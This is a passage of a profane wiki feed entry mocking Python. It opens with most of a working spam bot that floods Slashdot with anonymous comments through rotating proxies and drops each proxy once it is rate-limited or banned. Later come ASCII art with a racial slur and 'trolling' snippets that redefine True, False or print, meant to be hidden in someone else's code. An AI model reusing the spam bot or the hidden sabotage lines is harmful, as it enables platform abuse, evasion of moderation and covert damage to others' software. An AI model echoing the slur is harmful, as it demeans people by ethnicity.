					exit(8)&lt;br /&gt;
				print &amp;quot;Proxy&amp;quot;, self.proxy, &amp;quot;couldn&amp;#039;t get 1st formkey&amp;quot;&lt;br /&gt;
				if opt_d != 0:&lt;br /&gt;
					try:&lt;br /&gt;
						proxies.remove(self.proxy)&lt;br /&gt;
					except ValueError:&lt;br /&gt;
						pass&lt;br /&gt;
				continue&lt;br /&gt;
&lt;br /&gt;
			# setup POST request&lt;br /&gt;
			self.par = urllib.urlencode(&lt;br /&gt;
			{&lt;br /&gt;
			&amp;#039;sid&amp;#039;: sid,&lt;br /&gt;
			&amp;#039;pid&amp;#039;: &amp;#039;0&amp;#039;,&lt;br /&gt;
			&amp;#039;formkey&amp;#039;: formkey,&lt;br /&gt;
			&amp;#039;postersubj&amp;#039;: self.subject,&lt;br /&gt;
			&amp;#039;postercomment&amp;#039;: self.msg,&lt;br /&gt;
			&amp;#039;postanon_present&amp;#039;: &amp;#039;1&amp;#039;,&lt;br /&gt;
			&amp;#039;postanon&amp;#039;: &amp;#039;on&amp;#039;,&lt;br /&gt;
			&amp;#039;op&amp;#039;: &amp;#039;Preview&amp;#039;,&lt;br /&gt;
			&amp;#039;posttype&amp;#039;: &amp;#039;2&amp;#039;&lt;br /&gt;
			})&lt;br /&gt;
&lt;br /&gt;
			# preview comment&lt;br /&gt;
			try:&lt;br /&gt;
				f = self.opendev.open(self.url, self.par)&lt;br /&gt;
			except IOError:&lt;br /&gt;
				print self.proxy, &amp;quot;couldn&amp;#039;t preview&amp;quot;&lt;br /&gt;
				if opt_d != 0:&lt;br /&gt;
					try:&lt;br /&gt;
						proxies.remove(self.proxy)&lt;br /&gt;
					except ValueError:&lt;br /&gt;
						pass&lt;br /&gt;
				continue&lt;br /&gt;
			try:&lt;br /&gt;
				str = f.read(50000)&lt;br /&gt;
			except:&lt;br /&gt;
				print self.proxy, &amp;quot;got no data&amp;quot;&lt;br /&gt;
				if opt_d != 0:&lt;br /&gt;
					try:&lt;br /&gt;
						proxies.remove(self.proxy)&lt;br /&gt;
					except ValueError:&lt;br /&gt;
						pass&lt;br /&gt;
				continue&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
			# is this proxy readonly?&lt;br /&gt;
			if &amp;#039;&amp;lt;!-- Error type: readonly --&amp;gt;&amp;#039; in str:&lt;br /&gt;
				print self.proxy, &amp;quot;is readonly&amp;quot;&lt;br /&gt;
				if opt_d != 0:&lt;br /&gt;
					try:&lt;br /&gt;
						proxies.remove(self.proxy)&lt;br /&gt;
					except ValueError:&lt;br /&gt;
						pass&lt;br /&gt;
				continue&lt;br /&gt;
&lt;br /&gt;
			# get new formkey&lt;br /&gt;
			formkey = getformkey(str)&lt;br /&gt;
			if formkey != &amp;#039;&amp;#039;:&lt;br /&gt;
				print self.proxy, &amp;quot;got 2nd formkey &amp;quot; + formkey&lt;br /&gt;
			else:&lt;br /&gt;
				print self.proxy, &amp;quot;couldn&amp;#039;t get 2nd formkey&amp;quot;&lt;br /&gt;
				if opt_d != 0:&lt;br /&gt;
					try:&lt;br /&gt;
						proxies.remove(self.proxy)&lt;br /&gt;
					except ValueError:&lt;br /&gt;
						pass&lt;br /&gt;
				continue&lt;br /&gt;
&lt;br /&gt;
			# fucking 20 second shit&lt;br /&gt;
			print &amp;#039;Waiting 20 seconds&amp;#039;&lt;br /&gt;
			sleep(20)&lt;br /&gt;
&lt;br /&gt;
			self.url = purl + &amp;#039;?sid=&amp;#039; + sid + &amp;#039;&amp;amp;op=Submit&amp;#039;&lt;br /&gt;
&lt;br /&gt;
			# setup POST request&lt;br /&gt;
			self.par = urllib.urlencode(&lt;br /&gt;
			{&lt;br /&gt;
			&amp;#039;sid&amp;#039;: sid,&lt;br /&gt;
			&amp;#039;pid&amp;#039;: &amp;#039;0&amp;#039;,&lt;br /&gt;
			&amp;#039;rlogin&amp;#039;: &amp;#039;1&amp;#039;,&lt;br /&gt;
			&amp;#039;formkey&amp;#039;: formkey,&lt;br /&gt;
			&amp;#039;unickname&amp;#039;: &amp;#039;&amp;#039;,&lt;br /&gt;
			&amp;#039;upasswd&amp;#039;: &amp;#039;&amp;#039;,&lt;br /&gt;
			&amp;#039;postersubj&amp;#039;: self.subject,&lt;br /&gt;
			&amp;#039;postercomment&amp;#039;: self.msg,&lt;br /&gt;
			&amp;#039;op&amp;#039;: &amp;#039;Submit&amp;#039;,&lt;br /&gt;
			&amp;#039;posttype&amp;#039;: &amp;#039;2&amp;#039;&lt;br /&gt;
			})&lt;br /&gt;
&lt;br /&gt;
			# submit comment&lt;br /&gt;
			f = self.opendev.open(self.url, self.par)&lt;br /&gt;
			try:&lt;br /&gt;
				str = f.read(50000)&lt;br /&gt;
			except:&lt;br /&gt;
				print self.proxy, &amp;quot;got no data&amp;quot;&lt;br /&gt;
				if opt_d != 0:&lt;br /&gt;
					try:&lt;br /&gt;
						proxies.remove(self.proxy)&lt;br /&gt;
					except ValueError:&lt;br /&gt;
						pass&lt;br /&gt;
				continue&lt;br /&gt;
&lt;br /&gt;
			# did it work?&lt;br /&gt;
			if &amp;#039;&amp;lt;/TABLE&amp;gt;Comment Submitted.&amp;#039; in str:&lt;br /&gt;
				print self.proxy, &amp;quot;posted #&amp;quot;, self.i, &amp;quot;successfully&amp;quot;&lt;br /&gt;
			elif &amp;#039;&amp;lt;!-- Error type: filter message --&amp;gt;&amp;#039; in str:&lt;br /&gt;
				print self.proxy, &amp;quot;content too lame to post&amp;quot;&lt;br /&gt;
				exit(12)&lt;br /&gt;
			else:&lt;br /&gt;
				if &amp;#039;Slashdot requires you to wait&amp;#039; in str:&lt;br /&gt;
					print self.proxy, &amp;quot;hit 2 minute limit&amp;quot;&lt;br /&gt;
					continue&lt;br /&gt;
				elif &amp;#039;&amp;lt;!-- Error type: troll message --&amp;gt;&amp;#039; in str:&lt;br /&gt;
					print self.proxy, &amp;quot;has been &amp;#039;temporarily&amp;#039; banned&amp;quot;&lt;br /&gt;
					if opt_d != 0:&lt;br /&gt;
						try:&lt;br /&gt;
							proxies.remove(self.proxy)&lt;br /&gt;
						except ValueError:&lt;br /&gt;
							pass&lt;br /&gt;
						continue&lt;br /&gt;
				print self.proxy, &amp;quot;screwed up submit&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#####################&lt;br /&gt;
# Main program loop #&lt;br /&gt;
#####################&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;#039;__main__&amp;#039;:&lt;br /&gt;
&lt;br /&gt;
	threadList = []&lt;br /&gt;
&lt;br /&gt;
	# spawn threads&lt;br /&gt;
	for i in range(numthrds):&lt;br /&gt;
		thread = SpamThread()&lt;br /&gt;
		threadList.append(thread)&lt;br /&gt;
&lt;br /&gt;
	# start the fuckers&lt;br /&gt;
	for thread in threadList:&lt;br /&gt;
		thread.start()&lt;br /&gt;
&lt;br /&gt;
	# did all the threads start?&lt;br /&gt;
	numthreads = threading.activeCount() - 1&lt;br /&gt;
	errmsg(&amp;#039;made &amp;#039; + str(numthrds) + &amp;#039; threads, &amp;#039; + str(numthreads) + &amp;#039; started&amp;#039;)&lt;br /&gt;
&lt;br /&gt;
	# keep track of how many proxies&lt;br /&gt;
	x = len(proxies)&lt;br /&gt;
	while threading.activeCount() &amp;gt; 1:&lt;br /&gt;
		y = len(proxies)&lt;br /&gt;
		if x != y:&lt;br /&gt;
			if y == 1:&lt;br /&gt;
				errmsg(&amp;quot;1 proxy in global list&amp;quot;)&lt;br /&gt;
			elif y == 0:&lt;br /&gt;
				errmsg(&amp;quot;all proxies used up&amp;quot;)&lt;br /&gt;
				exit(0)&lt;br /&gt;
			else:   &lt;br /&gt;
				errmsg(str(y) + &amp;quot; proxies in global list&amp;quot;)&lt;br /&gt;
		try:&lt;br /&gt;
			sleep(0.6)&lt;br /&gt;
			x = y&lt;br /&gt;
		except:&lt;br /&gt;
			exit(1)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      ___               &lt;br /&gt;
    ,&amp;#039;._,`.              PYTHON SUCKS                                                 &lt;br /&gt;
   (-.___.-)               EVEN SANDNIGGERS CAN MASTER IT&lt;br /&gt;
   (-.___.-)                 DESPITE THE FACT THAT THIS IS OBVIOUSLY A COBRA                           &lt;br /&gt;
   `-.___.-&amp;#039;                                            &lt;br /&gt;
    ((  @ @|              .            __                                 &lt;br /&gt;
     \   ` |         ,\   |`.    @|   |  |      _.-._                     &lt;br /&gt;
    __`.`=-=mm===mm:: |   | |`.   |   |  |    ,&amp;#039;=` &amp;#039;=`.                   &lt;br /&gt;
   (    `-&amp;#039;|:/  /:/  `/  @| | |   |, @| @|   /---)W(---\                  &lt;br /&gt;
    \ \   / /  / /         @| |   &amp;#039;         (----| |----) ,~              &lt;br /&gt;
    |\ \ / /| / /            @|              \---| |---/  |               &lt;br /&gt;
    | \ V /||/ /                              `.-| |-,&amp;#039;   |               &lt;br /&gt;
    |  `-&amp;#039; |V /                                 \| |/    @&amp;#039;               &lt;br /&gt;
    |    , |-&amp;#039;                                 __| |__                    &lt;br /&gt;
    |    .;: _,-.                         ,--&amp;quot;&amp;quot;..| |..&amp;quot;&amp;quot;--.               &lt;br /&gt;
    ;;:::&amp;#039; &amp;quot;    )                        (`--::__|_|__::--&amp;#039;)              &lt;br /&gt;
  ,-&amp;quot;      _,  /                          \`--...___...--&amp;#039;/               &lt;br /&gt;
 (    -:--&amp;#039;/  /                           /`--...___...--&amp;#039;\               &lt;br /&gt;
  &amp;quot;-._  `&amp;quot;&amp;#039;._/                           /`---...___...---&amp;#039;\              &lt;br /&gt;
      &amp;quot;-._   &amp;quot;---.                      (`---....___....---&amp;#039;)             &lt;br /&gt;
       .&amp;#039; &amp;quot;,._ ,&amp;#039; )                     |`---....___....---&amp;#039;|             &lt;br /&gt;
       /`._|  `|  |                     (`---....___....---&amp;#039;)             &lt;br /&gt;
      (   \    |  /                      \`---...___...---&amp;#039;/              &lt;br /&gt;
       `.  `,  ^&amp;quot;&amp;quot;                        `:--...___...--;&amp;#039;               &lt;br /&gt;
         `.,&amp;#039;                               `-._______.-&amp;#039;                 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Python Trolling Techniques===&lt;br /&gt;
 #Want to troll your friends? Put one (or both) of the lines below somewhere in their code where they won&amp;#039;t expect it.&lt;br /&gt;
 #Works only in python 2 though :(&lt;br /&gt;
 True = False&lt;br /&gt;
 False = 1==1&lt;br /&gt;
 &lt;br /&gt;
 #Test it:&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; print True&lt;br /&gt;
 False&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; print False&lt;br /&gt;
 True&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; if not True:&lt;br /&gt;
         print &amp;quot;WTF?!&amp;quot;&lt;br /&gt;
 WTF?!&lt;br /&gt;
 &lt;br /&gt;
 #Enjoy confusion!&lt;br /&gt;
&lt;br /&gt;
 #Alternative, only for python 3&lt;br /&gt;
 def print(x):&lt;br /&gt;
     pass&lt;br /&gt;
 #Test it:&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; print(True)&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; print(False)&lt;br /&gt;
&lt;br /&gt;
==Unladen Swallow==&lt;br /&gt;
Apparently some tenacious employees at Google (who use Python for fucking EVERYTHING) have taken it upon themselves to try to optimize Python&amp;#039;s completely fucked structure. All that can be said is Allah help those poor unfortunate bastards. Read about their failure-iffic exploits [http://code.google.com/p/unladen-swallow/wiki/ProjectPlan here.]  [[Steven_F_Lott|Other people]] claim to be awesome Python programmers but obviously aren&amp;#039;t.&lt;br /&gt;
&lt;br /&gt;
Those employees have utterly failed in their goal to optimize the structure and have completely abandoned this hopeless endeavor in favor of more appealing projects. Even Google saw how fucked they were and took their funding away from them before they gave up.&lt;br /&gt;
&lt;br /&gt;
==External Links==&lt;br /&gt;
* [http://www.python.org Python.org] - Go here to get your own copy of Python&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Disambiguation ===&lt;br /&gt;
Do not confuse this with [[Monty Python]] or the [[Penis|snake]] of the same name. Although, might be worth noting that Python was named after &amp;quot;Monty Pythons Flying Circus&amp;quot;, [http://www.python.org/doc/faq/general/#why-is-it-called-python No shit.] Not to mention the [[virgin|source code comments are filled with MP references and quotes.]]  Dem damn Brits ruin everything, it would be a a 10 times cooler language if it was named after a fucking snake.  Really.&lt;br /&gt;
[[Category:Tutorials]]&lt;br /&gt;
&lt;br /&gt;
{{Softwarez}}&lt;br /&gt;
[[Category: Softwarez]]&lt;br /&gt;
{{haxor}}&lt;/div&gt;</summary>
		<author><name>imported&gt;DNJACK</name></author>
	</entry>
</feed>